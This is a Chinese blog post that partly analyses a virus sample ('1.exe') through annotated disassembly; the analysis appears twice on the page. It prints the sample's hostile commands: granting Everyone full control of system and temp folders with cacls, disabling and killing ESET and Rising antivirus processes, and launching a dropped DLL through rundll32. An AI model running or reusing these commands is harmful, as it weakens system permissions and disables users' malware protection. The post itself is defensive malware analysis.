- 浏览: 28388 次
- 性别:
- 来自: 广州
最新评论
-
谁解怨妇心:
night_stalker 写道您谦虚了 …… 代码写得相当的 ...
在BMP位图中隐藏数据 -
RednaxelaFX:
话说我想起了Brainloller和Braincopter
在BMP位图中隐藏数据 -
RednaxelaFX:
32位BMP在某些软件(例如Windows自带的图片浏览器)里 ...
在BMP位图中隐藏数据 -
night_stalker:
您谦虚了 …… 代码写得相当的好看,命名非常的标准正统 口牙
在BMP位图中隐藏数据
本来暑假前就以外地感染的这个病毒,不过我的系统装了影子系统就没造成大的损害。将病毒的样本留下来打算分析的,结果一直拖啊拖啊拖到现在。
病毒有三个文件,分别是1.exe、ctfmen.exe以及explorer.exe。先分析1.exe,剩下两个有空在分析。
用PEID查壳,显示“NsPacK V3.7 -> LiuXingPing”。嗯,很好很强大,虽然没听过,不过看名字就知道不是猛壳,秒杀。
004013FC E8 FFFBFFFF call 00401000 ; 从系统dll中获取相关函数地址
00401401 BE 68454000 mov esi, 00404568 ; ASCII "907654"
00401406 56 push esi
00401407 FF15 3C304000 call dword ptr [40303C] ; kernel32.GlobalFindAtomA
0040140D 66:85C0 test ax, ax ; 获取全局原子
00401410 0F87 4A0D0000 ja 00402160 ; 不为0则表示病毒已在运行,退出
在一大段无用的对eax的操作后,就到了上面这段代码。只让程序运行一个实例。继续:
00401916 66:81BD E8FEFFF>cmp word ptr [ebp-118], 7D7
0040191F 0F86 42010000 jbe 00401A67
00401925 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
0040192B 56 push esi
0040192C 50 push eax
0040192D FF15 8C454000 call dword ptr [40458C] ; kernel32.GetWindowsDirectoryA
00401933 8B3D 4C304000 mov edi, dword ptr [40304C] ; msvcrt.sprintf
00401939 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
0040193F 50 push eax
00401940 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
00401946 68 C0444000 push 004044C0 ; ASCII "cmd /c cacls %s /e /p everyone:f"
0040194B 50 push eax
0040194C FFD7 call edi
0040194E 83C4 0C add esp, 0C
00401951 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
00401957 53 push ebx
00401958 50 push eax
00401959 FF15 78454000 call dword ptr [404578] ; WinExec(调用cacls更改系统目录的访问权限,下同)
0040195F 8B1D 1C304000 mov ebx, dword ptr [40301C] ; kernel32.GetTempPathA
00401965 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
0040196B 50 push eax
0040196C 56 push esi
0040196D FFD3 call ebx
0040196F 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
00401975 50 push eax
00401976 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
0040197C 68 9C444000 push 0040449C ; ASCII "cmd /c cacls ""%s"" /e /p everyone:f"
00401981 50 push eax
00401982 FFD7 call edi
00401984 83C4 0C add esp, 0C
00401987 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
0040198D 6A 00 push 0
0040198F 50 push eax
00401990 FF15 78454000 call dword ptr [404578] ; WinExec(调用cacls更改用户目录临时文件夹的访问权限)
00401996 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
0040199C 50 push eax
0040199D 56 push esi
0040199E FFD3 call ebx
004019A0 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
004019A6 50 push eax
004019A7 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
004019AD 68 74444000 push 00404474 ; ASCII "cmd /c sc config ekrn start= disabled"
004019B2 50 push eax
004019B3 FFD7 call edi
004019B5 83C4 0C add esp, 0C
004019B8 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
004019BE 6A 00 push 0
004019C0 50 push eax
004019C1 FF15 78454000 call dword ptr [404578] ; WinExec(取消ESET Smart Security反病毒软件的开机启动)
004019C7 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
004019CD 50 push eax
004019CE 56 push esi
004019CF FFD3 call ebx
004019D1 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
004019D7 50 push eax
004019D8 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
004019DE 68 54444000 push 00404454 ; ASCII "cmd /c taskkill /im ekrn.exe /f"
004019E3 50 push eax
004019E4 FFD7 call edi
004019E6 83C4 0C add esp, 0C
004019E9 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
004019EF 6A 00 push 0
004019F1 50 push eax
004019F2 FF15 78454000 call dword ptr [404578] ; WinExec(杀死ESET Smart Security反病毒软件)
004019F8 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
004019FE 50 push eax
004019FF 56 push esi
00401A00 FFD3 call ebx
00401A02 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
00401A08 50 push eax
00401A09 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
00401A0F 68 34444000 push 00404434 ; ASCII "cmd /c taskkill /im egui.exe /f"
00401A14 50 push eax
00401A15 FFD7 call edi
00401A17 83C4 0C add esp, 0C
00401A1A 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
00401A20 6A 00 push 0
00401A22 50 push eax
00401A23 FF15 78454000 call dword ptr [404578] ; WinExec(杀死Eset NOD32 Smart Security3.0主程序)
00401A29 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
00401A2F 50 push eax
00401A30 56 push esi
00401A31 FFD3 call ebx
00401A33 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
00401A39 50 push eax
00401A3A 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
00401A40 68 10444000 push 00404410 ; ASCII "cmd /c taskkill /im ScanFrm.exe /f"
00401A45 50 push eax
00401A46 FFD7 call edi
00401A48 83C4 0C add esp, 0C
00401A4B 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
00401A51 6A 00 push 0
00401A53 50 push eax
00401A54 FF15 78454000 call dword ptr [404578] ; WinExec(杀瑞星!)
00401A5A 68 88130000 push 1388
00401A5F FF15 18304000 call dword ptr [403018] ; Sleep(休眠5秒)
00401A65 33DB xor ebx, ebx
00401A67 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401A6D 56 push esi
00401A6E 50 push eax
00401A6F FF15 8C454000 call dword ptr [40458C] ; kernel32.GetWindowsDirectoryA
00401A75 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401A7B 68 FC434000 push 004043FC ; ASCII "\system32\func.dll"
00401A80 50 push eax
00401A81 E8 F4060000 call 0040217A ; jmp 到 msvcrt.strcat
00401A86 66:81BD E8FEFFF>cmp word ptr [ebp-118], 7D7
00401A8F 59 pop ecx
00401A90 59 pop ecx
00401A91 BF F8434000 mov edi, 004043F8 ; ASCII "BIN"
00401A96 76 21 jbe short 00401AB9
00401A98 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401A9E 50 push eax
00401A9F 57 push edi
00401AA0 68 95000000 push 95
00401AA5 E8 9CF6FFFF call 00401146 ; 将资源段附加的func.dll复制到C:\Windows\System32\文件夹下
00401AAA 83C4 0C add esp, 0C
00401AAD 53 push ebx
00401AAE 68 D8434000 push 004043D8 ; ASCII "rundll32.exe func.dll, droqp"
00401AB3 FF15 78454000 call dword ptr [404578] ; WinExec(用rundll32.exe调用func.dll的droqp函数)
00401AB9 8D85 DCFBFFFF lea eax, dword ptr [ebp-424]
00401ABF 56 push esi
00401AC0 50 push eax
00401AC1 53 push ebx
00401AC2 FF15 2C304000 call dword ptr [40302C] ; kernel32.GetModuleFileNameA
00401AC8 68 204E0000 push 4E20
00401ACD FF15 18304000 call dword ptr [403018] ; kernel32.Sleep
00401AD3 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401AD9 56 push esi
00401ADA 50 push eax
00401ADB FF15 24304000 call dword ptr [403024] ; kernel32.GetWindowsDirectoryA
00401AE1 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401AE7 68 CC434000 push 004043CC ; ASCII "\phpi.dll"
00401AEC 50 push eax
00401AED E8 88060000 call 0040217A ; jmp 到 msvcrt.strcat
00401AF2 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401AF8 50 push eax
00401AF9 57 push edi
00401AFA 68 8F000000 push 8F
00401AFF E8 42F6FFFF call 00401146 ; 将资源段附加的phpi.dll复制到C:\Windows\文件夹下
经过一大段重复的调用GetSystemDirectory的调用(我说作者你不烦的么……),到了上面这段代码。释放了一个dll由rundll32.exe来调用,并将droqp函数作为函数入口。然后又释放了一个dll。经过一段重复的调用……到了下面载入的部分
00401BCF 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401BD5 50 push eax ; C:\Windows\phpi.dll
00401BD6 FF15 04304000 call dword ptr [403004] ; kernel32.LoadLibraryA
00401BDC 3BC3 cmp eax, ebx
00401BDE 8945 FC mov dword ptr [ebp-4], eax
00401BE1 0F84 79050000 je 00402160
载入完毕后继续无用的代码,到了获取dll中的函数再调用。
00401FF2 68 A8404000 push 004040A8 ; ASCII "FF"
00401FF7 FF75 FC push dword ptr [ebp-4]
00401FFA FF15 00304000 call dword ptr [403000] ; kernel32.GetProcAddress
00402000 53 push ebx
00402001 8945 FC mov dword ptr [ebp-4], eax
00402004 FFD7 call edi ; kernel32.GetModuleHandleA
00402006 8D85 04F2FFFF lea eax, dword ptr [ebp-DFC]
0040200C 50 push eax
0040200D 53 push ebx
0040200E 53 push ebx
0040200F FF55 FC call dword ptr [ebp-4] ; 调用FF
关键代码就这些,DLL的分析过几天有空再写orz
病毒有三个文件,分别是1.exe、ctfmen.exe以及explorer.exe。先分析1.exe,剩下两个有空在分析。
用PEID查壳,显示“NsPacK V3.7 -> LiuXingPing”。嗯,很好很强大,虽然没听过,不过看名字就知道不是猛壳,秒杀。
引用
004013FC E8 FFFBFFFF call 00401000 ; 从系统dll中获取相关函数地址
00401401 BE 68454000 mov esi, 00404568 ; ASCII "907654"
00401406 56 push esi
00401407 FF15 3C304000 call dword ptr [40303C] ; kernel32.GlobalFindAtomA
0040140D 66:85C0 test ax, ax ; 获取全局原子
00401410 0F87 4A0D0000 ja 00402160 ; 不为0则表示病毒已在运行,退出
在一大段无用的对eax的操作后,就到了上面这段代码。只让程序运行一个实例。继续:
引用
00401916 66:81BD E8FEFFF>cmp word ptr [ebp-118], 7D7
0040191F 0F86 42010000 jbe 00401A67
00401925 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
0040192B 56 push esi
0040192C 50 push eax
0040192D FF15 8C454000 call dword ptr [40458C] ; kernel32.GetWindowsDirectoryA
00401933 8B3D 4C304000 mov edi, dword ptr [40304C] ; msvcrt.sprintf
00401939 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
0040193F 50 push eax
00401940 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
00401946 68 C0444000 push 004044C0 ; ASCII "cmd /c cacls %s /e /p everyone:f"
0040194B 50 push eax
0040194C FFD7 call edi
0040194E 83C4 0C add esp, 0C
00401951 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
00401957 53 push ebx
00401958 50 push eax
00401959 FF15 78454000 call dword ptr [404578] ; WinExec(调用cacls更改系统目录的访问权限,下同)
0040195F 8B1D 1C304000 mov ebx, dword ptr [40301C] ; kernel32.GetTempPathA
00401965 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
0040196B 50 push eax
0040196C 56 push esi
0040196D FFD3 call ebx
0040196F 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
00401975 50 push eax
00401976 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
0040197C 68 9C444000 push 0040449C ; ASCII "cmd /c cacls ""%s"" /e /p everyone:f"
00401981 50 push eax
00401982 FFD7 call edi
00401984 83C4 0C add esp, 0C
00401987 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
0040198D 6A 00 push 0
0040198F 50 push eax
00401990 FF15 78454000 call dword ptr [404578] ; WinExec(调用cacls更改用户目录临时文件夹的访问权限)
00401996 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
0040199C 50 push eax
0040199D 56 push esi
0040199E FFD3 call ebx
004019A0 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
004019A6 50 push eax
004019A7 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
004019AD 68 74444000 push 00404474 ; ASCII "cmd /c sc config ekrn start= disabled"
004019B2 50 push eax
004019B3 FFD7 call edi
004019B5 83C4 0C add esp, 0C
004019B8 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
004019BE 6A 00 push 0
004019C0 50 push eax
004019C1 FF15 78454000 call dword ptr [404578] ; WinExec(取消ESET Smart Security反病毒软件的开机启动)
004019C7 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
004019CD 50 push eax
004019CE 56 push esi
004019CF FFD3 call ebx
004019D1 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
004019D7 50 push eax
004019D8 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
004019DE 68 54444000 push 00404454 ; ASCII "cmd /c taskkill /im ekrn.exe /f"
004019E3 50 push eax
004019E4 FFD7 call edi
004019E6 83C4 0C add esp, 0C
004019E9 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
004019EF 6A 00 push 0
004019F1 50 push eax
004019F2 FF15 78454000 call dword ptr [404578] ; WinExec(杀死ESET Smart Security反病毒软件)
004019F8 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
004019FE 50 push eax
004019FF 56 push esi
00401A00 FFD3 call ebx
00401A02 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
00401A08 50 push eax
00401A09 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
00401A0F 68 34444000 push 00404434 ; ASCII "cmd /c taskkill /im egui.exe /f"
00401A14 50 push eax
00401A15 FFD7 call edi
00401A17 83C4 0C add esp, 0C
00401A1A 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
00401A20 6A 00 push 0
00401A22 50 push eax
00401A23 FF15 78454000 call dword ptr [404578] ; WinExec(杀死Eset NOD32 Smart Security3.0主程序)
00401A29 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
00401A2F 50 push eax
00401A30 56 push esi
00401A31 FFD3 call ebx
00401A33 8D85 E0FCFFFF lea eax, dword ptr [ebp-320]
00401A39 50 push eax
00401A3A 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
00401A40 68 10444000 push 00404410 ; ASCII "cmd /c taskkill /im ScanFrm.exe /f"
00401A45 50 push eax
00401A46 FFD7 call edi
00401A48 83C4 0C add esp, 0C
00401A4B 8D85 E4FDFFFF lea eax, dword ptr [ebp-21C]
00401A51 6A 00 push 0
00401A53 50 push eax
00401A54 FF15 78454000 call dword ptr [404578] ; WinExec(杀瑞星!)
00401A5A 68 88130000 push 1388
00401A5F FF15 18304000 call dword ptr [403018] ; Sleep(休眠5秒)
00401A65 33DB xor ebx, ebx
00401A67 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401A6D 56 push esi
00401A6E 50 push eax
00401A6F FF15 8C454000 call dword ptr [40458C] ; kernel32.GetWindowsDirectoryA
00401A75 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401A7B 68 FC434000 push 004043FC ; ASCII "\system32\func.dll"
00401A80 50 push eax
00401A81 E8 F4060000 call 0040217A ; jmp 到 msvcrt.strcat
00401A86 66:81BD E8FEFFF>cmp word ptr [ebp-118], 7D7
00401A8F 59 pop ecx
00401A90 59 pop ecx
00401A91 BF F8434000 mov edi, 004043F8 ; ASCII "BIN"
00401A96 76 21 jbe short 00401AB9
00401A98 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401A9E 50 push eax
00401A9F 57 push edi
00401AA0 68 95000000 push 95
00401AA5 E8 9CF6FFFF call 00401146 ; 将资源段附加的func.dll复制到C:\Windows\System32\文件夹下
00401AAA 83C4 0C add esp, 0C
00401AAD 53 push ebx
00401AAE 68 D8434000 push 004043D8 ; ASCII "rundll32.exe func.dll, droqp"
00401AB3 FF15 78454000 call dword ptr [404578] ; WinExec(用rundll32.exe调用func.dll的droqp函数)
00401AB9 8D85 DCFBFFFF lea eax, dword ptr [ebp-424]
00401ABF 56 push esi
00401AC0 50 push eax
00401AC1 53 push ebx
00401AC2 FF15 2C304000 call dword ptr [40302C] ; kernel32.GetModuleFileNameA
00401AC8 68 204E0000 push 4E20
00401ACD FF15 18304000 call dword ptr [403018] ; kernel32.Sleep
00401AD3 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401AD9 56 push esi
00401ADA 50 push eax
00401ADB FF15 24304000 call dword ptr [403024] ; kernel32.GetWindowsDirectoryA
00401AE1 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401AE7 68 CC434000 push 004043CC ; ASCII "\phpi.dll"
00401AEC 50 push eax
00401AED E8 88060000 call 0040217A ; jmp 到 msvcrt.strcat
00401AF2 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401AF8 50 push eax
00401AF9 57 push edi
00401AFA 68 8F000000 push 8F
00401AFF E8 42F6FFFF call 00401146 ; 将资源段附加的phpi.dll复制到C:\Windows\文件夹下
经过一大段重复的调用GetSystemDirectory的调用(我说作者你不烦的么……),到了上面这段代码。释放了一个dll由rundll32.exe来调用,并将droqp函数作为函数入口。然后又释放了一个dll。经过一段重复的调用……到了下面载入的部分
引用
00401BCF 8D85 F8FEFFFF lea eax, dword ptr [ebp-108]
00401BD5 50 push eax ; C:\Windows\phpi.dll
00401BD6 FF15 04304000 call dword ptr [403004] ; kernel32.LoadLibraryA
00401BDC 3BC3 cmp eax, ebx
00401BDE 8945 FC mov dword ptr [ebp-4], eax
00401BE1 0F84 79050000 je 00402160
载入完毕后继续无用的代码,到了获取dll中的函数再调用。
引用
00401FF2 68 A8404000 push 004040A8 ; ASCII "FF"
00401FF7 FF75 FC push dword ptr [ebp-4]
00401FFA FF15 00304000 call dword ptr [403000] ; kernel32.GetProcAddress
00402000 53 push ebx
00402001 8945 FC mov dword ptr [ebp-4], eax
00402004 FFD7 call edi ; kernel32.GetModuleHandleA
00402006 8D85 04F2FFFF lea eax, dword ptr [ebp-DFC]
0040200C 50 push eax
0040200D 53 push ebx
0040200E 53 push ebx
0040200F FF55 FC call dword ptr [ebp-4] ; 调用FF
关键代码就这些,DLL的分析过几天有空再写orz
发表评论
-
未完的病毒分析func.dll
2009-09-20 17:33 1394这个dll会释放出一个驱动,于是就被这个诡异的驱动迷惑了很久。 ... -
《星空のメモリア》脚本简单分析
2009-08-31 20:55 994脚本是编译型的脚本,虽然没加密,但不去调试的话就很难分 ... -
OllyDBG插件OllyGal1.10
2009-07-30 01:48 1916嗯,不知道发汉化技术版还是发多媒体教室。发在这里应该多点人 ... -
OllGal1.10正式版
2009-07-30 01:31 0详细内容待更新 -
丢个OD插件娱乐一下大众
2009-07-23 11:06 1234看到来福丢了个JAVA做的纸牌出来应援,又看到有人丢了个F ... -
Gift汉化相关
2009-07-13 15:53 1429虽然大概没什么人来看这个blog,但还是要稍微更新一下 ... -
DC2PC汉化实战
2009-06-17 01:11 3380前一段时间写了篇 ... -
《俺たちに翼はない》脚本加密算法分析
2009-06-17 01:03 1937前言:游戏汉化中的一个重要的步骤是对资源的解包以及封包。虽然现 ... -
字符编码与游戏中的字符边界检查
2009-06-17 00:55 5883在汉化以及开发国 ...
相关推荐
随手记可能运用了数据分析算法,如平均值、中位数、频数分布等,来帮助用户理解消费趋势。这些功能的实现可能涉及到Java的集合框架、数据结构以及统计学知识。同时,通过图表展示数据,如饼图、柱状图等,可以借助...
总的来说,"随手滑动的demo"是移动应用开发中的一个重要组成部分,涉及到触摸事件处理、布局管理、动画效果等多个方面。通过分析和学习这些示例代码,开发者不仅可以掌握这一技术,还能从中吸取灵感,创造出更多创新...
随手记可能有多个Activity,如主界面、记账界面、统计分析页面等。通过阅读源码,我们可以学习到如何设计和实现复杂的UI布局,以及如何使用意图(Intent)在Activity之间传递数据。 2. **数据存储**:Android提供多种...
报告涵盖市场背景、产品概述、分析目的、市场分析和用户需求与产品功能等多个方面。 1. **市场背景**: 在宏观经济稳定,居民消费水平提升的背景下,记账类应用的需求逐渐增加,特别是移动端的便捷记账工具,满足...
随手工具V2.4作为一个桌面应用,可以直接在用户的计算机上安装和运行,无需依赖网络环境。它提供了直观的用户界面和快速的响应速度,使得用户能够轻松访问和管理各种教育资源。 2. **网络查询功能**: 该软件内置...
【Java随手画实例】是一个适合初学者的编程项目,它主要展示了如何使用Java语言实现一个简单的绘图应用程序。这个程序不仅涵盖了基础的编程概念,还涉及到了多线程和客户端/服务器(C/S)架构的应用。以下是这个实例...
【金蝶随手记 PC 电脑版】是一款专为个人用户设计的财务管理软件,适用于Windows操作系统。...总的来说,金蝶随手记 PC 电脑版是一款实用且功能丰富的个人财务管理工具,是管理和规划个人财务的理想选择。
总结来说,这款类似于“随手记”的记账软件,不仅提供了全面的财务记录功能,如记账、银行帐、现金帐和支票帐,还有强大的数据分析能力,通过图表形式帮助用户理解自己的财务状况。其Android平台的适应性使得更多...
总结来说,【随手记源码】是一款集记账、理财、分析和提醒功能于一体的财务管理工具,它通过简洁的设计和实用的功能,帮助用户更好地掌握自己的财务状况,实现理性消费和科学理财。源代码的公开也为开发者提供了深入...
总的来说,"Android手机随手记"是一款实用的财务管理工具,通过智能的记账和分析功能,帮助用户养成良好的理财习惯,实现财富增值。无论你是想要控制开支,还是规划储蓄,这款应用都能成为你的得力助手。
首先,从整体架构上来看,随手记的源代码可能包含了以下几个主要部分: 1. **用户界面(UI)**:Android应用的界面设计通常基于布局文件(XML)和Java/Kotlin代码。源代码中可能包含了各种Activity、Fragment以及...
【Android随手记源码分析】 本项目名为"android 随手记源码.rar",是一个基于Android平台的笔记应用的源代码。该应用旨在帮助用户快速记录生活、工作中的点滴,提供便捷的记事功能。通过对源码的分析,我们可以深入...
这个给定的资源是一个关于Android应用开发的源码项目,主要目标是实现一个简洁的随手记事应用。从标题和描述来看,我们可以推测这个项目旨在教授如何构建一个基础的笔记应用,适合初学者或者希望加深对Android应用...
在IT行业中,手写输入和随手写技术是人机交互领域的一个重要研究方向,尤其在移动设备和平板电脑上应用广泛。"手写输入,随手写"这一标题所指的,就是一种允许用户通过触控笔或者手指进行手写文字或图形输入,并实时...
通过深入研究"Android随手记"的源代码,初学者不仅可以掌握基本的Android开发技能,还能了解到一个实际应用的完整生命周期,从而提升自己的编程和解决问题的能力。同时,这个项目的开源特性也鼓励了社区参与和代码...
通常,描述会包含更具体的细节,如收藏的Flash类型、主题或者来源,但这里没有提供这些信息,因此我们只能基于标题来推测这可能是一个个人化的、多样化的Flash作品合集。 【标签解析】 标签同样为“我收藏的flash...
首先,"AA记账随手记"这个名字中的"AA",通常指的是"平均分摊"或者"共同承担"的意思,表明这款应用特别关注多人合帐场景,比如朋友聚会、团队旅行等。它可以帮助用户快速记录并分摊共同消费的费用,避免了因费用结算...
随手写 方便的记忆文字 图像 视频 音频随手写是市面上唯一一款支持手写键盘混输的软件。可在照片上自由涂鸦,插图,拍照记事和语音记事,允许自由设定桌面小窗口的背景图案、颜色和透明度。 功能特色: 1、小屏幕也...
【标题】"简单的随手记事本"是一款专为Android...总的来说,“简单的随手记事本”是一个综合展示了Android应用开发基础技能的实例,包括UI设计、数据管理、用户交互等多个方面,对于初学者来说是一个很好的学习资源。